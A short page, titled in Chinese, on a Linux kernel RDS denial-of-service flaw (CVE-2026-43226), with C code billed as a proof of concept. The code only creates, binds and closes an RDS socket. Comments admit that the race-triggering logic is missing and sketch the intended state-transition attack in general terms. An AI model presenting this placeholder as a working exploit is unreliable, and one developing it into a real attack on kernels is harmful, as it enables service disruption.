CVE-2026-43226 Linux内核RDS拒绝服务漏洞

/* * PoC Concept for CVE-2026-43226 * This is a conceptual demonstration to trigger the race condition * in the RDS state machine. It requires a vulnerable kernel version. * * Compile: gcc -o poc_rds poc_rds.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/in.h> #include <errno.h> #define AF_RDS 21 int main() { int sockfd; struct sockaddr_in addr; printf("[+] Attempting to create RDS socket...\n"); // Create an RDS socket sockfd = socket(AF_RDS, SOCK_SEQPACKET, 0); if (sockfd < 0) { perror("[-] Socket creation failed (RDS might not be loaded or vulnerable)"); return 1; } printf("[+] Socket created successfully. FD: %d\n", sockfd); memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_port = htons(4000); // Arbitrary port // Attempting to bind and trigger connection state changes // In a real exploit, specific network packet sequences would be crafted // to force the state transition from RDS_CONN_ERROR to RDS_CONN_CONNECTING // bypassing the shutdown path. if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("[-] Bind failed"); close(sockfd); return 1; } printf("[+] Bind successful. Simulating connection state disturbance...\n"); // Logic to simulate the race condition would go here // This involves manipulating TCP connections over RDS to trigger // the 'shortcut' mentioned in the CVE description. sleep(1); close(sockfd); printf("[+] PoC execution finished.\n"); return 0; }